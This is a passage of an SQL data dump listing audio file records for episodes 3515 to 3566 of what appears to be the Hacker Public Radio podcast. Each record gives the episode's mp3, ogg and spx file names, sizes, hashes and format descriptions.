(3515,'hpr3515.mp3','mp3',5178307,'097d624de1206717aa3452a394e6a610dba15c3c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3515,'hpr3515.ogg','ogg',7669469,'f703e8587033544aff5c46d03fac7a350d6ac50c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3515,'hpr3515.spx','spx',2444486,'38abb111d4f9952427d9ec10663700fb6b84c61a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3516,'hpr3516.mp3','mp3',11078283,'1cc4b4de0705efd57aa13f4b6227312963c0aba3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3516,'hpr3516.ogg','ogg',15873783,'e8508668851e755b7bb09e96496e97a23e2bd55d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3516,'hpr3516.spx','spx',5230018,'c6c67a60f05dc1968a90cc24539e4906973410b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3517,'hpr3517.mp3','mp3',18715629,'4cf1612f1c88c7d36ab29eadb44cca82bb5b8b54','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3517,'hpr3517.ogg','ogg',26136549,'c4d674446cf9561c185b4db9503ca25ac2a3096c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3517,'hpr3517.spx','spx',8835823,'52d52abfa9c0ba3cc204c8e50c1e9e13d9000512','application/ogg; charset=binary','Ogg data, Speex audio'),
(3518,'hpr3518.mp3','mp3',26831744,'27196e04f635feda7d46499e2287a5ad939a3240','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3518,'hpr3518.ogg','ogg',35125060,'680baec83346e96160f2bd123aca361907f9bfba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3518,'hpr3518.spx','spx',12667659,'ed42170e8941694cbf19ec176deed022e9aa9f87','application/ogg; charset=binary','Ogg data, Speex audio'),
(3519,'hpr3519.mp3','mp3',26533582,'83f7d33545fb21b4c3352f9307e2158904566203','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3519,'hpr3519.ogg','ogg',36642909,'115d1fef44ca8185c8e730c523e97547dd899093','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3519,'hpr3519.spx','spx',12526949,'d2afdecb96e491133463a4392187affedbd8106f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3520,'hpr3520.mp3','mp3',9637046,'24f4a78a81bddcf8b51e831709a40c9689501438','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3520,'hpr3520.ogg','ogg',10758637,'ee54ccb2a90c456a4908b66e3c51374cb9e391b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3520,'hpr3520.spx','spx',4303678,'eb54f51ce72e4b1b7fc11cea797ed680664e817f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3521,'hpr3521.mp3','mp3',3408643,'aa13e56a28a1abd7c5acff6133a5bbb98be4bb53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3521,'hpr3521.ogg','ogg',4902462,'945de0fad3987ddaea2d7ed3286e80bc1b86d65a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3521,'hpr3521.spx','spx',1608992,'d2d62df6d23942d37023d02b1b4914af9918d8dd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3522,'hpr3522.mp3','mp3',13298280,'4a17b0a0c1f0b870e7ca8e0012c8362c81edb681','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3522,'hpr3522.ogg','ogg',19102614,'a049deb91bb2b3e8f66015d1909d9bfd876084a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3522,'hpr3522.spx','spx',6278242,'aafa3f3404ce85acc6deac9b9ac62725642336fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3523,'hpr3523.mp3','mp3',3907090,'5105c9b956f04bb97117bd42b9e813c1aed81e30','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3523,'hpr3523.ogg','ogg',5230849,'30859b9b7292447515de1d389a5fc086ff088417','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3523,'hpr3523.spx','spx',1844408,'645e0711e138e56393bdb6939505bf68f0393118','application/ogg; charset=binary','Ogg data, Speex audio'),
(3524,'hpr3524.mp3','mp3',3805019,'7c4ba0a82a0cc19d1c290ad9cfea6aaa4ea587e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3524,'hpr3524.ogg','ogg',5466306,'b829180a5badd997c05937f51075ae9093e95292','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3524,'hpr3524.spx','spx',1796205,'9917cc21d095fc0120e3ad24d4ac191fb8426925','application/ogg; charset=binary','Ogg data, Speex audio'),
(3525,'hpr3525.mp3','mp3',8017828,'01d68962f781fc8477877b0f3ec158be0c4a046d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3525,'hpr3525.ogg','ogg',11444818,'45e479275471775c615096d44fdfc8361d5e1e6d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3525,'hpr3525.spx','spx',3785204,'7d9214f5ec7c0a43497afcb4c7ce684c72bc7c82','application/ogg; charset=binary','Ogg data, Speex audio'),
(3526,'hpr3526.mp3','mp3',21665402,'d0f445fd633ed15d54832ccd19a22a6e3e1dd480','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3526,'hpr3526.ogg','ogg',27404159,'b38e85510ba8704e71f759e0e8e622c1b647cc40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3526,'hpr3526.spx','spx',10228461,'a733ea443db094fc03304c5737ac6772ae544567','application/ogg; charset=binary','Ogg data, Speex audio'),
(3527,'hpr3527.mp3','mp3',7184369,'6e1a24e34c7f1f9ece64edf5faca0df1a114c4ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3527,'hpr3527.ogg','ogg',10113883,'013ccf405eaf428e20ab33cbe337a7a384efd7ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3527,'hpr3527.spx','spx',3391632,'74d85bede76e91b1ef340f7224309464106f62d4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3528,'hpr3528.mp3','mp3',3425522,'64f4642d2f71e4fa3ef85bbcc8bab046d93d022f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3528,'hpr3528.ogg','ogg',4926134,'9757f213f35f37e41a37b0008c26c30bd1ef0c7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3528,'hpr3528.spx','spx',1616904,'7443abfbb875065a97107966c481d0b279a54595','application/ogg; charset=binary','Ogg data, Speex audio'),
(3529,'hpr3529.mp3','mp3',25677424,'9a01102372897249fbb515ae05b4c4a533113c1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3529,'hpr3529.ogg','ogg',33598003,'1cbf157d0937d0231866b7e31d8a2d42c3aab006','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3529,'hpr3529.spx','spx',12122630,'533ad40a33f2e2d952964c23cac40a9ea37ac837','application/ogg; charset=binary','Ogg data, Speex audio'),
(3530,'hpr3530.mp3','mp3',8153740,'6efb32dff9edb5f4d09b1877a91e9a16e725088a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3530,'hpr3530.ogg','ogg',9103242,'7ee1302109e2eef7b980a03d849100fd50ba7edb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3530,'hpr3530.spx','spx',3641301,'8756cbbba63e7716bdae968708592619497b080b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3531,'hpr3531.mp3','mp3',8971077,'26d936b19d7931d74f2219a0f27afbb7e1d78830','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3531,'hpr3531.ogg','ogg',13078439,'94034b0ac56e44eb09a35013ab715bbffb3c7fe2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3531,'hpr3531.spx','spx',4235161,'1a05d22bcf7f08f8fbffb72f35e913bab609da57','application/ogg; charset=binary','Ogg data, Speex audio'),
(3532,'hpr3532.mp3','mp3',5016928,'938e72992bea1c70098b1a3d7fec3148dcbc73e9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3532,'hpr3532.ogg','ogg',7364783,'4b22f9c97de9f0d83b2c552a013be36365460a33','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3532,'hpr3532.spx','spx',2368337,'1b9bd2ad9b892069db2ea077efea6b717f0bd08e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3533,'hpr3533.mp3','mp3',14586842,'9369b1b333b3a9ca51289b948af51291dd36646c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3533,'hpr3533.ogg','ogg',20628891,'58ee64ef90445ef3cd46ddda312f243b9f4d446f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3533,'hpr3533.spx','spx',6886497,'729e8a798a8830aa81931f1ad0b1aff2ef1ddcc2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3534,'hpr3534.mp3','mp3',4808518,'c0e248541c1d7ae0258d1f1212fc15917d5318d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3534,'hpr3534.ogg','ogg',6648186,'b311f832f87907cf02e1b1bab600400e1a8153e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3534,'hpr3534.spx','spx',2269895,'06775b2044a16a4d8e316efa05d120f65178ac7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3535,'hpr3535.mp3','mp3',23450982,'701f7dacaa275f856016765caa6b88e02c75c463','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3535,'hpr3535.ogg','ogg',30450732,'987d190afe07736e80a510e11b12750f01efdd59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3535,'hpr3535.spx','spx',11071489,'7a880306d4efa5ac28768de03c6a96cc43049073','application/ogg; charset=binary','Ogg data, Speex audio'),
(3536,'hpr3536.mp3','mp3',11838032,'15ad6668a7c59238560e2bcde351890c3588e26c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3536,'hpr3536.ogg','ogg',16069587,'77af30ef6ca3137e977fbf721b89f12ea0c522c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3536,'hpr3536.spx','spx',5588763,'df6aad38619d96fe2ce09eefd427b5a56627832b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3537,'hpr3537.mp3','mp3',14323654,'4d4d53562dbfadb55d810c301770ad70378c3b39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3537,'hpr3537.ogg','ogg',19554407,'d10e895b4acd42e70d843e8991909bcf1fc29666','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3537,'hpr3537.spx','spx',6762200,'8e2231db58d6b3a2fddda6a1baeed55673a34aae','application/ogg; charset=binary','Ogg data, Speex audio'),
(3538,'hpr3538.mp3','mp3',2830747,'2da695bb9af7a1c3819ba7b3fff2a443a09a11ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3538,'hpr3538.ogg','ogg',4098959,'b14ba4cc134fa5f90b85e59d652bdb9603fd84b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3538,'hpr3538.spx','spx',1336172,'19a04ddb2fb5c8ff2c4a0bc7aa8b84efcd787a64','application/ogg; charset=binary','Ogg data, Speex audio'),
(3539,'hpr3539.mp3','mp3',33293495,'7622a75db7010853015c4c805f9e76e44dd7aa35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3539,'hpr3539.ogg','ogg',45618762,'8722b3c8f3532aa8c990ad0b1c2cb2cc303b4083','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3539,'hpr3539.spx','spx',15718341,'fdc03d823f92897c15c3c9bd356c74ebd0e603b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3540,'hpr3540.mp3','mp3',10865438,'3ea0404f9fc5ede7a1b22d6c0694d176ad62b960','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3540,'hpr3540.ogg','ogg',12248969,'02fcb713f857aee0d6755baba3f55e548a53abeb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3540,'hpr3540.spx','spx',4852336,'ab370c4850f9a0a9da0af2cb361a78705b51cb5a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3541,'hpr3541.mp3','mp3',8179911,'e4a088834565809ea2fe82cc16391baa84caec34','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3541,'hpr3541.ogg','ogg',11646792,'45daa9a9b4371db55cc3b54f4d95db53af284b39','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3541,'hpr3541.spx','spx',3861679,'e7400f31a963018093f5700d8885acdd523c0e2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3542,'hpr3542.mp3','mp3',5866670,'70c34b097755feae262480e1581467570923b6cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3542,'hpr3542.ogg','ogg',8070674,'c43d15611b0be13d3bd294d020dc6c7af6558304','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3542,'hpr3542.spx','spx',2769501,'2f634bf08b59fc07a94175c397a089c6f1e231a5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3543,'hpr3543.mp3','mp3',4466368,'0a3acba568dba1c91a8fb35847c70e73371bcac0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3543,'hpr3543.ogg','ogg',6219388,'3efd398fb97da2415e12902d54ed510cc20271b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3543,'hpr3543.spx','spx',2108405,'c4fabaa15ed6e01a06a8b406401a73eb84d06a83','application/ogg; charset=binary','Ogg data, Speex audio'),
(3544,'hpr3544.mp3','mp3',5894866,'4d70f86b82fcd41341afc19b262bc3e84998d825','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3544,'hpr3544.ogg','ogg',8165237,'5921b2efdbabb37488143c4c3e48c9d55ffa2cc6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3544,'hpr3544.spx','spx',2782829,'0b8a537b8788705d6e85954db30056ef770657b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3545,'hpr3545.mp3','mp3',3073598,'cf4f34b3dd12709f4d515c14870ad246b4c641c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3545,'hpr3545.ogg','ogg',4187549,'aabe16fe67a35b3849bd6885feb6eb4567a3f1d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3545,'hpr3545.spx','spx',1450728,'dfb95ce66ec07927325dfab1d238ec05d01ba3bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3546,'hpr3546.mp3','mp3',29976704,'088e245c274ead1338d71ad06a5a5b1c3ee3cc45','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3546,'hpr3546.ogg','ogg',39948992,'1946cb3efca5183092f59d36d10a9a840900f30d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3546,'hpr3546.spx','spx',14152470,'bb8a5c3ef87dccbbd6515ed0c300e790e3cbba71','application/ogg; charset=binary','Ogg data, Speex audio'),
(3547,'hpr3547.mp3','mp3',7148034,'61ecf7e61999b1ca987605ff4c2e970d22ce42a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3547,'hpr3547.ogg','ogg',10389389,'6574d957a7e1210b42fe030c66b3abc837e464f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3547,'hpr3547.spx','spx',3374452,'f89dbea6fa20b09de81062550527720811e68707','application/ogg; charset=binary','Ogg data, Speex audio'),
(3548,'hpr3548.mp3','mp3',10076434,'a91c9ea75a633f95ef08edeadbaf29750ebfa7cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3548,'hpr3548.ogg','ogg',14449155,'20a6a931e24e9683b5e04bf83f3adface48b8100','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3548,'hpr3548.spx','spx',4757075,'3c3bd918594a1a9e36f916f519bd2c5d3d43277b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3549,'hpr3549.mp3','mp3',26308121,'5213f80982f947192dd02492aca552adf6751fea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3549,'hpr3549.ogg','ogg',35778997,'b029b453af1a7098fc6742e7ca03fb8f1601f7f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3549,'hpr3549.spx','spx',12420390,'33b76d171695955f05fefce6edc77e585c44946c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3550,'hpr3550.mp3','mp3',10773729,'8094c0c74b88330a7bd6f4673bd551b233b9d256','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3550,'hpr3550.ogg','ogg',12216376,'253314bb371d6cc938b8602db5adf70f46662ead','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3550,'hpr3550.spx','spx',4811372,'1a68eaeb533ce3c602f6d0a55bc50356f1ae933c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3551,'hpr3551.mp3','mp3',12454756,'ea9e1ba39402152302c407095b8f0c21bf6fe49b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3551,'hpr3551.ogg','ogg',17735844,'2c7c86c443fafbab1a4f2a60472abc698da66e20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3551,'hpr3551.spx','spx',5879912,'a60008c3518e4b19ab10fb3bb2640a233a238798','application/ogg; charset=binary','Ogg data, Speex audio'),
(3552,'hpr3552.mp3','mp3',14129376,'369fbc51a4489045d8c9c55af28090c38787fbd5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3552,'hpr3552.ogg','ogg',18237694,'0ba79edf811859d3c6628fddb93c2bd91960715c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3552,'hpr3552.spx','spx',6670576,'81293a4fb49c0ab27a187c2245baca0b6002cebd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3553,'hpr3553.mp3','mp3',12103004,'d1312e943baa4b1d30cbc5bdd071051f640b1154','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3553,'hpr3553.ogg','ogg',17595387,'fd0aeb581c75630156b26b3fa21a777ad7c23106','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3553,'hpr3553.spx','spx',5713866,'2d08483ad18ba78ad752c4fb432e702edb9b1f5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3554,'hpr3554.mp3','mp3',6846840,'565a80b257c327a27c5d4370224c6bfb02fdc114','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3554,'hpr3554.ogg','ogg',9661636,'fcb5eb7d5417c8e4c1770c34d44863983994e3e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3554,'hpr3554.spx','spx',3232330,'47df2c30eabedddd002b65222f1c6b57a099dffe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3555,'hpr3555.mp3','mp3',8403417,'1b1a067c66a1c393236f7b1d969518e25c93a2ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3555,'hpr3555.ogg','ogg',12186741,'0c07f4aa317fc9cc824e343fe41d2264a96c4d3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3555,'hpr3555.spx','spx',3967153,'79eda05f94b363ca325b93f28af250cfae18281b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3556,'hpr3556.mp3','mp3',2454398,'deddd62de3d54a4edae13faeeadcfd135bcdda96','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3556,'hpr3556.ogg','ogg',3440366,'06bc722f4b622f5536290a0d8cb841b12d5eb0ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3556,'hpr3556.spx','spx',1158399,'bdef5bc903a8d7f2c955971370206c7a58c58c80','application/ogg; charset=binary','Ogg data, Speex audio'),
(3557,'hpr3557.mp3','mp3',5288757,'2ac5a9551e81139203b73eae18a45955788c0974','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3557,'hpr3557.ogg','ogg',7421668,'3df36a3e27e7ef809437b19c935fea6c0a620b2e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3557,'hpr3557.spx','spx',2496712,'f6d0ca7551d5d5d90acf2bfbb5ace402614fa26f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3558,'hpr3558.mp3','mp3',11802503,'8ae6c57b17a6bcbb97d74e4c2d9df2f6f2a80fa5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3558,'hpr3558.ogg','ogg',15533000,'d79c964c744069717cac90cc19b0fb638a9f0c97','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3558,'hpr3558.spx','spx',5571921,'5009be550b6d1740ff09fb9bec0a572041248f3d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3559,'hpr3559.mp3','mp3',33868883,'8ea10bc74a13a4a303382847bd0e8d938d68b360','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3559,'hpr3559.ogg','ogg',47268584,'960dc8c20b526ac0bb8ae0911258859164531253','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3559,'hpr3559.spx','spx',15990024,'b0518352d4922484e83d1bc131538cb4b1a38551','application/ogg; charset=binary','Ogg data, Speex audio'),
(3560,'hpr3560.mp3','mp3',7208713,'80c89871f2b640e44ccec5eb7e475a71671c733b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3560,'hpr3560.ogg','ogg',8201361,'51c0893eaf23004180dff8f8fd87ab2ca9aeb89f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3560,'hpr3560.spx','spx',3219253,'3b3e4b3392579de9babf2a3ccef7eb59f79dc922','application/ogg; charset=binary','Ogg data, Speex audio'),
(3561,'hpr3561.mp3','mp3',3927995,'d0703b7167b7a4c4c06969390b0881358f6007e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3561,'hpr3561.ogg','ogg',5716550,'81a6144a1d7e4ac324f4a865c78a5636917655ba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3561,'hpr3561.spx','spx',1854189,'8407bff5ac6ebf2a48daaa56b90fdae1b18fd60c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3562,'hpr3562.mp3','mp3',10486191,'cb9694c4ab6c99a7e7aa03ba72ecc4fe0c6b82d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3562,'hpr3562.ogg','ogg',13656760,'e80540be98f8d2049bd43d9c7186ff082a79d37f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3562,'hpr3562.spx','spx',4950481,'819bd5f0da9d36c8d80c6d258b53b7022f79d8b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3563,'hpr3563.mp3','mp3',9636543,'cac228c3cb736ff1175d5da4ed7a6ee6d983ae5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3563,'hpr3563.ogg','ogg',12682705,'714957ec9e806246c3287b8193e8e3283904f5b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3563,'hpr3563.spx','spx',4549321,'c52197f20adb8e207a44446f0d658582d49b2c7d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3564,'hpr3564.mp3','mp3',6608732,'84b0c25a7628dbd1d0d2535d5d19180b25ee7fc1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3564,'hpr3564.ogg','ogg',9397854,'bc88ec91f2db9c6b1128134576301b6e06c078e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3564,'hpr3564.spx','spx',3119817,'d506ab2b324ce7fc557080c2ff063ffb626edbe8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3565,'hpr3565.mp3','mp3',4395746,'6a8b1fe043a06d9ed47c8c99325004ece88d2517','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3565,'hpr3565.ogg','ogg',6387387,'31497ecb734f4704f1112d788381256b2498e9f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3565,'hpr3565.spx','spx',2075046,'8fda4a6cb72a2bcaf1fbd550d78006c4fd2b62f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3566,'hpr3566.mp3','mp3',44526260,'cad06cbf2ff3b2a6c6f13fb61d3a64f5c14e2bb2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3566,'hpr3566.ogg','ogg',59910406,'dab8aebc145bc1871415bd3fb4add6a1eebfe8fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
